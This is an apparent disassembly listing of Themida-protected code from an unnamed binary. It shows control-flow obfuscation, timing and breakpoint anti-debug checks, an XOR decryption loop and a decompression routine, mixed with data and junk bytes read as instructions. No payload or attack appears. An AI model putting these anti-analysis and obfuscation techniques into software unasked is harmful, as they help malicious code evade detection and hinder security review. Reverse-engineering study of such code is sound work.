		dd 8104245Ch, 19042444h, 43000000h, 882CC353h, 92A19A02h
		dd 0CE9h, 0FCD1AB00h, 0DF9D3384h, 0B6DB48D3h, 3F883E5h
		dd 40850Fh, 0DE80000h, 0FD000000h, 383EA6CCh, 0D7179C77h
		dd 0C9AE829Eh, 565997BAh, 0BD895B03h, 60F30ADh,	4620BD8Dh
		dd 69B6060Fh, 0AE9h, 0F12EFB00h, 9387ABFDh, 0E959E618h
		dd 3Ch,	1A0DBD89h, 0F883060Fh, 2D850F05h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2388C355h, 0F2C5995h, 0CBE906h, 95030000h, 60F30F5h
		dd 52006A57h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B9F54301h, 7A75F4F2h, 4ED38153h, 5B2DE922h
		dd 0F003F83h, 9084h, 10E800h, 5C140000h, 0BA0F17Bh, 4F6371FEh
		dd 3999C461h, 0CB811FDFh, 17C5B09h, 0D68B665Bh,	8E80F30h
		dd 1F000000h, 0FC83C423h, 0B37A625Eh, 0C9D15AE1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 56C35141h, 8C0F137Bh
		dd 0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+60F1219h]
		inc	edi
		push	0
		push	ecx
		call	sub_55228A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55228A	proc near		; CODE XREF: Themida_:00552282p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_55228A	endp

; ---------------------------------------------------------------------------
		dw 6629h
		dd 9D23D68Bh, 60F1E4Dh,	0FFFF6FE9h, 958B50FFh, 60F33E5h
; ---------------------------------------------------------------------------
		pop	edx


loc_5522B1:				; CODE XREF: Themida_:00551A02j
		cmp	eax, 5
		jnz	loc_55231C
		add	bx, 39B2h
		mov	cx, ds
		call	near ptr loc_5522CA+4
		setle	byte ptr [edx]


loc_5522CA:				; CODE XREF: Themida_:005522C2p
		mov	esp, 8BF6020Ch
		rcr	dword ptr [ebx-0Ah], 1
		rol	dword ptr [edi+ecx], 85h
		adc	eax, 89000000h
		mov	ebp, 60F1109h
		mov	eax, 0
		mov	bl, 1Bh
		jmp	loc_55231C
; ---------------------------------------------------------------------------
		mov	bx, di
		mov	eax, [ebp+60F1329h]
		add	edx, 1BBDC1D7h
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_552308
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552308	proc near		; CODE XREF: Themida_:00552300p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_552308	endp

; ---------------------------------------------------------------------------
		adc	bl, dh
		adc	al, 0F4h


loc_55231C:				; CODE XREF: Themida_:0055166Dj
					; Themida_:005522B4j ...
		cmp	dword ptr [ebp+60F2275h], 0
		jnz	loc_5523FC
		or	dh, 0CFh
		movzx	edx, ax
		push	eax
		pusha
		push	eax
		push	edx
		rdtsc
		mov	bx, ax
		pop	edx
		pop	eax
		mov	si, 0E691h
		popa
		mov	[esp], eax
		push	0
		push	esi
		call	sub_55234D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55234D	proc near		; CODE XREF: Themida_:00552345p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_55234D	endp

; ---------------------------------------------------------------------------
		wait
		mov	dl, 76h
		mov	ebp, 0C5D42F64h
		mov	byte ptr [ebp+60F24FDh], 45h
		mov	edx, [ebp+60F14B9h]
		push	0A03309BAh
		mov	bx, si
		xor	dword ptr [esp], 2E4160D3h
		mov	edx, [ebp+60F1DEDh]
		push	dword ptr [ebp+60F1CE5h]
		mov	bx, di
		adc	bh, 37h
		lea	eax, [ebp+60F3AB8h]
		push	0
		push	ebx
		call	sub_5523A5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5523A5	proc near		; CODE XREF: Themida_:0055239Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5523A5	endp

; ---------------------------------------------------------------------------
		push	ecx
		mov	ss, word ptr [edx+11h]
		push	edx
		mov	cl, [ebx+0F26659Dh]
		push	es
		cld
		call	eax
		mov	edx, [ebp+60F14E1h]
		mov	[ebp+60F2275h],	eax
		push	0
		push	eax
		call	sub_5523DB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5523DB	proc near		; CODE XREF: Themida_:005523D3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5523DB	endp

; ---------------------------------------------------------------------------
		clc
		int	3		; Trap to Debugger
		push	ebx
		cmc
		pop	eax
		mov	ebx, [ebp+60F15DDh]
		mov	[ebp+60F00F9h],	ecx


loc_5523FC:				; CODE XREF: Themida_:00552323j
		cmp	dword ptr [ebp+60F4C63h], 0
		jz	loc_55247D
		push	0
		push	edx
		call	sub_552414
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552414	proc near		; CODE XREF: Themida_:0055240Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_552414	endp

; ---------------------------------------------------------------------------
		dd 12E9CDh, 9B960000h, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh
		dd 3656A724h, 2CA9B5FFh, 8B66060Fh, 358589D6h, 0FF060F00h
		dd 0F227595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 1DAB0340h, 59FB0EF6h, 9D892B6Dh
		dd 60F1671h
; ---------------------------------------------------------------------------
		clc


loc_55247D:				; CODE XREF: Themida_:00552403j
		cmp	eax, 0
		jnz	loc_552562
		push	0
		push	ebp
		call	sub_552491
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552491	proc near		; CODE XREF: Themida_:00552489p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_552491	endp

; ---------------------------------------------------------------------------
		adc	ebx, ebx
		leave
		mov	al, 29h
		retf	59B3h
; ---------------------------------------------------------------------------
		sub	bx, 0CBCCh
		cmp	dword ptr [ebp+60F1869h], 0
		jz	loc_552518
		movsx	ebx, si
		push	dword ptr [ebp+60F1869h]
		push	0
		push	ecx
		call	sub_5524CF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5524CF	proc near		; CODE XREF: Themida_:005524C7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5524CF	endp

; ---------------------------------------------------------------------------
		db 6Ah
		dd 10E89DA9h, 0A8000000h, 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h
		dd 0F91DCD14h, 219D335Bh, 0B8060F18h, 1, 2DA5958Bh, 8B51060Fh
		dd 0F07B19Dh, 38E95B06h, 0F9000002h
; ---------------------------------------------------------------------------


loc_552518:				; CODE XREF: Themida_:005524B5j
		push	dword ptr [ebp+60F2CA9h]
		mov	bh, 6Dh
		push	dword ptr [ebp+60F2CA9h]
		push	0
		push	ecx
		call	sub_552531
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552531	proc near		; CODE XREF: Themida_:00552529p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_552531	endp

; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_55254F
; ---------------------------------------------------------------------------
		db 8Ch
		dd 24CE0375h
		db 0Eh,	0B9h, 27h
; ---------------------------------------------------------------------------


loc_55254F:				; CODE XREF: Themida_:00552542j
		push	dword ptr [ebp+60F2275h]
		mov	edx, [ebp+60F2FFDh]
		jmp	loc_55274F
; ---------------------------------------------------------------------------
		mov	bl, dl


loc_552562:				; CODE XREF: Themida_:00552480j
		pop	edi
		push	0
		push	edx
		call	sub_55256E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55256E	proc near		; CODE XREF: Themida_:00552566p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_55256E	endp

; ---------------------------------------------------------------------------
		dw 0E42Fh
		dd 9863B23h, 0F282D9Dh,	13E806h, 6BFC0000h, 4B2B1Fh, 6B51A2A7h
		dd 0FF763AD2h, 0EFE606E6h, 0AE88Ch, 0AD9C0000h,	44B17EA9h
		dd 445DFE3Fh, 3265958Bh, 5A5B060Fh, 13A1BD83h, 0F00060Fh
		dd 0E985h, 0D9D8B00h, 0C6060F1Bh, 0F24FD85h, 6A4D06h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 64DA26C3h, 96593272h, 6768FA4Fh, 0FAB0D7Fh, 1D8Ch, 0E9525000h
		dd 5, 8F3B4A3Fh, 0E8310FEEh, 7,	9F0BDF85h, 5B371CD8h, 3481585Ah
		dd 3809CF24h, 13E9500Fh, 0F6000000h, 9D9B6D89h,	2EC638F7h
		dd 936CEED6h, 0B2A13AAFh, 0FF5AAC54h, 0F1A61B5h, 5F28106h
		dd 8D65F0BFh, 0F3AB885h, 68F0F06h, 29000000h, 0F30ED8Dh
		dd 0FFD08B06h, 0BE9D0h,	6CEF0000h, 2A1658A2h, 62B17468h
		dd 0A18589C3h, 6A060F13h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 8212C350h, 57C0219Ah
		dd 8E0F4943h, 0Eh, 9E9h, 70338900h, 8263CE48h, 0B8F681h
		dd 23000000h, 0F19E99Dh, 8976B306h, 0F4C0CBDh, 0C9958B06h
		dd 0B060F01h, 38840FC0h, 66000000h, 8EB3D38Bh, 76E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0A621C810h, 8195CFB9h, 0B261EBCBh, 19952905h, 0FF060F1Dh
		dd 0F2275B5h, 19D8906h,	8D060F1Eh, 11A27085h, 0DDBB6606h
		dd 0DF8B6671h, 58576050h, 0EAE1D2BEh, 4896120h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0DA213421h
		db 25h,	0A2h, 0D7h
; ---------------------------------------------------------------------------


loc_55274F:				; CODE XREF: Themida_:0055255Bj
		push	eax
		push	esi
		lea	edi, [ebp+60F5315h]
		lea	ecx, [ebp+60F789Ah]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_552764:				; CODE XREF: Themida_:0055276Aj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_552764
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+60F1869h], 0
		jz	short loc_55277D
		mov	ecx, [ebp+60F2A89h]


loc_55277D:				; CODE XREF: Themida_:00552775j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_552834
		cmp	dword ptr [ebp+60F348Dh], 0
		jz	short loc_55279B
		call	dword ptr [ebp+60F100Dh]


loc_55279B:				; CODE XREF: Themida_:00552793j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_5527AD
		cmp	dword ptr [ebp+60F4C14h], 1
		jz	short loc_5527B6


loc_5527AD:				; CODE XREF: Themida_:005527A2j
		cmp	dword ptr [ebp+60F4C14h], 2
		jnz	short loc_5527C4


loc_5527B6:				; CODE XREF: Themida_:005527ABj
		mov	esi, [ebp+60F4C0Ch]
		lea	eax, [ebp+611A270h]
		call	eax


loc_5527C4:				; CODE XREF: Themida_:005527B4j
		cmp	dword ptr [ebp+60F2D71h], 0
		jz	short loc_5527D3
		call	dword ptr [ebp+60F30F1h]


loc_5527D3:				; CODE XREF: Themida_:005527CBj
		lea	eax, [ebp+60F4217h]
		call	eax
		cmp	dword ptr [ebp+60F2875h], 2
		jnz	short loc_552813
		mov	esp, [ebp+60F0539h]
		mov	eax, [ebp+60F1869h]
		mov	[esp], eax
		mov	dword ptr [ebp+60F1939h], 1
		mov	esi, [ebp+60F4C10h]
		mov	ebp, [ebp+60F3355h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_552813:				; CODE XREF: Themida_:005527E2j
		mov	dword ptr [ebp+60F1939h], 1
		mov	esp, [ebp+60F0539h]
		mov	esi, [ebp+60F1651h]
		mov	ebp, [ebp+60F3355h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_552834:				; CODE XREF: Themida_:00552786j
		cmp	dword ptr [ebp+60F2D71h], 0
		jz	short loc_55284C
		cmp	dword ptr [ebp+60F30F1h], 0
		jz	short loc_55284C
		call	dword ptr [ebp+60F30F1h]


loc_55284C:				; CODE XREF: Themida_:0055283Bj
					; Themida_:00552844j
		mov	esi, [ebp+60F4C0Ch]
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_55285E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55285E	proc near		; CODE XREF: Themida_:00552856p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_55285E	endp

; ---------------------------------------------------------------------------
		dw 0DA51h
		dd 0FF7CAB5h, 0E9FC7E3Dh, 0Bh, 4C561D4Bh, 0D2B84127h, 0BA1120D9h
		dd 0
; ---------------------------------------------------------------------------
		xor	edx, [ebp+60F2D75h]
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5528A2
; ---------------------------------------------------------------------------


loc_5528A0:				; CODE XREF: Themida_:005528A5j
		inc	eax
		inc	edi


loc_5528A2:				; CODE XREF: Themida_:0055289Ej
		cmp	byte ptr [edi],	0
		jnz	short loc_5528A0
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5528D1
; ---------------------------------------------------------------------------


loc_5528AE:				; CODE XREF: Themida_:005528D3j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5528C6
; ---------------------------------------------------------------------------


loc_5528C3:				; CODE XREF: Themida_:005528C9j
		mul	ebx
		dec	esi


loc_5528C6:				; CODE XREF: Themida_:005528C1j
		cmp	esi, 0
		ja	short loc_5528C3
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5528D1:				; CODE XREF: Themida_:005528ACj
		or	eax, eax
		jnz	short loc_5528AE
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	[ebp+60F1275h],	esi
		movsx	edx, dx
		mov	eax, ecx
		jmp	loc_552A9C
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_5528FB:				; CODE XREF: Themida_:loc_552913j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_552906:				; CODE XREF: Themida_:00552991j
					; Themida_:005529F9j ...
		add	dl, dl
		jnz	loc_552913
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_552913:				; CODE XREF: Themida_:00552908j
		jnb	loc_5528FB
		add	dl, dl
		jnz	loc_552926
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_552926:				; CODE XREF: Themida_:0055291Bj
		jnb	loc_552996
		xor	eax, eax
		add	dl, dl
		jnz	loc_55293B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55293B:				; CODE XREF: Themida_:00552930j
		jnb	loc_552A6B
		add	dl, dl
		jnz	loc_55294E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55294E:				; CODE XREF: Themida_:00552943j
		adc	eax, eax
		add	dl, dl
		jnz	loc_55295D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55295D:				; CODE XREF: Themida_:00552952j
		adc	eax, eax
		add	dl, dl
		jnz	loc_55296C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55296C:				; CODE XREF: Themida_:00552961j
		adc	eax, eax
		add	dl, dl
		jnz	loc_55297B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55297B:				; CODE XREF: Themida_:00552970j
		adc	eax, eax
		jz	loc_552989
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_552989:				; CODE XREF: Themida_:0055297Dj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_552996:				; CODE XREF: Themida_:loc_552926j
		mov	eax, 1


loc_55299B:				; CODE XREF: Themida_:loc_5529B7j
		add	dl, dl
		jnz	loc_5529A8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5529A8:				; CODE XREF: Themida_:0055299Dj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5529B7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5529B7:				; CODE XREF: Themida_:005529ACj
		jb	loc_55299B
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_5529FE
		mov	ecx, 1


loc_5529CF:				; CODE XREF: Themida_:loc_5529EBj
		add	dl, dl
		jnz	loc_5529DC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5529DC:				; CODE XREF: Themida_:005529D1j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5529EB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5529EB:				; CODE XREF: Themida_:005529E0j
		jb	loc_5529CF
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_5529FE:				; CODE XREF: Themida_:005529C4j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_552A0C:				; CODE XREF: Themida_:loc_552A28j
		add	dl, dl
		jnz	loc_552A19
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_552A19:				; CODE XREF: Themida_:00552A0Ej
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_552A28
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_552A28:				; CODE XREF: Themida_:00552A1Dj
		jb	loc_552A0C
		cmp	eax, 7D00h
		jnb	loc_552A5B
		cmp	eax, 500h
		jb	loc_552A52
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_552A52:				; CODE XREF: Themida_:00552A3Ej
		cmp	eax, 7Fh
		ja	loc_552A5E


loc_552A5B:				; CODE XREF: Themida_:00552A33j
		add	ecx, 2


loc_552A5E:				; CODE XREF: Themida_:00552A55j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_552A6B:				; CODE XREF: Themida_:loc_55293Bj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_552A90
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_552A90:				; CODE XREF: Themida_:00552A73j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_552A9C:				; CODE XREF: Themida_:005528EAj
		mov	edx, 929h
		jmp	loc_5747BF
; ---------------------------------------------------------------------------
		dd offset byte_5CBC51
		dd offset byte_5CBC51
		dw 0FF6Ch
		dd 3F0012h, 25Dh, 280000h, 0A20D025Dh, 202005Ch, 20000h
		dd 2 dup(10000h), 0AECA0000h, 0FA45h, 4	dup(0)
		dd 345B0000h, 0E1520055h, 0B7440055h, 9E420055h, 65850055h
		dd 925F0055h, 4C050055h, 0A17E0055h, 987A0055h,	9ACB0055h
		dd 76E30055h, 40290055h, 7B820055h, 3E360055h, 0F2140055h
		dd 0BF5D0055h, 0A2720055h, 5EB00055h, 5A570055h, 9CDF0055h
		dd 852F0055h, 4E630055h, 5A8E0055h, 4C190055h, 932F0055h
		dd 0DD900055h, 0E53B0055h, 358E0055h, 53F70055h, 94D50055h
		dd 8F010055h, 784A0055h, 0A92A0055h, 6BC70055h,	0BAB80055h
		dd 879B0055h, 0E1300055h, 56170055h, 3C910055h,	961D0055h
		dd 0EA570055h, 2EBC0055h, 0BF760055h, 0A8870055h, 405C0055h
		dd 0C4DC0055h, 0E7300055h, 56480055h, 0A2900055h, 3D6F0055h
		dd 0E9F60055h, 0BF3F0055h, 0D3B10055h, 2EDA0055h, 70520055h
		dd 42740055h, 0DFDD0055h, 0C1960055h, 996A0055h, 73910055h
		dd 57C80055h, 2DE30055h, 61080055h, 99490055h, 0C4740055h
		dd 2E2F0055h, 0EB9E0055h, 0D47C0055h, 0C6360055h, 0B1AF0055h
		dd 0E5680055h, 9AE00055h, 0B0150055h, 4C260055h, 0C6CF0055h
		dd 0DB9A0055h, 459A0055h, 0A8E40055h, 0C3580055h, 0D8200055h
		dd 0AF3F0055h, 0AB770055h, 0C9850055h, 0DDFB0055h, 632A0055h
		dd 52930055h, 0D4360055h, 0E3A00055h, 0EDFC0055h, 0E0840055h
		dd 87410055h, 0DDEE0055h, 76C80055h, 5CAB0055h,	0AB2A0055h
		dd 0D5DB0055h, 5C3E0055h, 0F1C70055h, 0A0A20055h, 0DF120055h
		dd 84250055h, 0A88E0055h, 0DEDF0055h, 0E3300055h, 79190055h
		dd 0B6860055h, 37F40055h, 4BD50055h, 0C0DE0055h, 0D0A60055h
		dd 35E00055h, 37E60055h, 0A1C50055h, 88F20055h,	0A71A0055h
		dd 0EFE50055h, 741C0055h, 0B1940055h, 3A8A0055h, 9D040055h
		dd 0D6850055h, 61E90055h, 0B7F20055h, 90420055h, 61A10055h
		dd 0D4AF0055h, 314F0055h, 97CB0055h, 750C0055h,	0E1490055h
		dd 0C0A40055h, 8CCE0055h, 0E1FA0055h, 30F70055h, 899E0055h
		dd 0A2190055h, 905B0055h, 3C5A0055h, 0E6920055h, 50350055h
		dd 44CB0055h, 0BC560055h, 51B70055h, 41D70055h,	39230055h
		dd 9E7D0055h, 79080055h, 49CA0055h, 0B5D30055h,	91150055h
		dd 0BCE70055h, 7A230055h, 0EE170055h, 0DE760055h, 0E19B0055h
		dd 0E5190055h, 4A870055h, 0A2070055h, 0D85E0055h, 0B5A50055h
		dd 5B050055h, 914C0055h, 0D0220055h, 0E60E0055h, 57A40055h
		dd 0E6CF0055h, 55F30055h
		db 55h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_552D86:				; CODE XREF: sub_5747D8+BAj
					; sub_5747D8+C4j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60F7EC4h
		mov	eax, edi
		add	edi, 60F7BDCh
		cmp	eax, [edi+2Ch]
		jnz	short loc_552DA4
		jmp	short loc_552DB7
; ---------------------------------------------------------------------------


loc_552DA4:				; CODE XREF: sub_5747D8-21A38j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_552DB3
; ---------------------------------------------------------------------------


loc_552DAE:				; CODE XREF: sub_5747D8-21A23j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_552DB3:				; CODE XREF: sub_5747D8-21A2Cj
		or	ecx, ecx
		jnz	short loc_552DAE


loc_552DB7:				; CODE XREF: sub_5747D8-21A36j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_552DC4:				; CODE XREF: sub_5747D8-21A0Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_552DC4


loc_552DCD:				; CODE XREF: Themida_:00552E7Dj
					; Themida_:00552EC5j ...
		lodsb
		push	ebx
		mov	bl, 0FDh
		sub	bl, 0FFh
		inc	bl
		push	ecx
		mov	ch, 3Dh
		and	bl, ch
		pop	ecx
		inc	bl
		jmp	loc_555A97
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2996h
		jmp	loc_554F8A
; ---------------------------------------------------------------------------


loc_552DF1:				; CODE XREF: Themida_:0055A614j
		sub	esp, 4
		jmp	loc_55B45A
; ---------------------------------------------------------------------------


loc_552DFC:				; CODE XREF: Themida_:005578D0j
		push	edi
		mov	edi, 4A27325Fh
		dec	edi
		xor	edi, 33C8727Eh
		mov	esi, edi
		pop	edi
		sub	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, 24h
		add	eax, 8552986h
		sub	eax, 6B7D1A3Ah
		jmp	loc_5548CF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55635C
; ---------------------------------------------------------------------------


loc_552E3A:				; CODE XREF: Themida_:00559B39j
		mov	edi, esp
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_55AA7D
; ---------------------------------------------------------------------------


loc_552E4B:				; CODE XREF: Themida_:0055E8B8j
		mov	[esp], edx
		jmp	loc_55D500
; ---------------------------------------------------------------------------


loc_552E53:				; CODE XREF: Themida_:00554407j
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5562B1
; ---------------------------------------------------------------------------


loc_552E67:				; CODE XREF: Themida_:0055EB02j
		mov	[esp], ebx
		mov	ebx, 4
		push	edx
		mov	edx, 34BB2486h
		jmp	loc_556D3C
; ---------------------------------------------------------------------------


loc_552E7A:				; CODE XREF: Themida_:0055CCBAj
		push	cx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_552E82:				; CODE XREF: Themida_:0055A40Bj
		mov	[esp], edi
		jmp	loc_55DAEA
; ---------------------------------------------------------------------------


loc_552E8A:				; CODE XREF: Themida_:0055C980j
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5550A7
; ---------------------------------------------------------------------------


loc_552E94:				; CODE XREF: Themida_:005576E4j
		xor	eax, ebx
		push	ebp
		mov	ebp, 8C61FA4h
		push	ebx
		push	esi
		mov	esi, 33A8416Dh
		and	esi, 7683519Eh
		or	esi, 63B15400h
		not	esi
		xor	esi, 0F3AFC980h
		jmp	loc_55448C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55626C
; ---------------------------------------------------------------------------


loc_552EC2:				; CODE XREF: Themida_:00559F5Dj
		mov	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_552ECA:				; CODE XREF: Themida_:0055B643j
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_556431
; ---------------------------------------------------------------------------


loc_552EE2:				; CODE XREF: Themida_:0055D3CDj
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55839A
; ---------------------------------------------------------------------------


loc_552F11:				; CODE XREF: Themida_:005538D5j
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_55C19E
; ---------------------------------------------------------------------------


loc_552F21:				; CODE XREF: Themida_:0055D0F7j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_558E04
; ---------------------------------------------------------------------------


loc_552F2E:				; CODE XREF: Themida_:0055D4AAj
		sub	esp, 4
		jmp	loc_553981
; ---------------------------------------------------------------------------


loc_552F39:				; CODE XREF: Themida_:0055A925j
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C8EC
; ---------------------------------------------------------------------------


loc_552F45:				; CODE XREF: Themida_:00553BECj
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, 7FEB5F23h
		sub	esi, edx
		push	ebp
		mov	ebp, 61DE0677h
		shl	ebp, 8
		and	ebp, 7FAC7BAFh
		shr	ebp, 8
		add	ebp, 20233075h
		or	ebp, 8F321A7h
		add	ebp, 56F82934h
		add	esi, ebp
		pop	ebp
		pop	edx
		jmp	loc_55C79E
; ---------------------------------------------------------------------------


loc_552F86:				; CODE XREF: Themida_:0055EF65j
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	eax
		push	edx
		mov	edx, 2C7E28BDh
		add	eax, edx
		pop	edx
		jmp	loc_559590
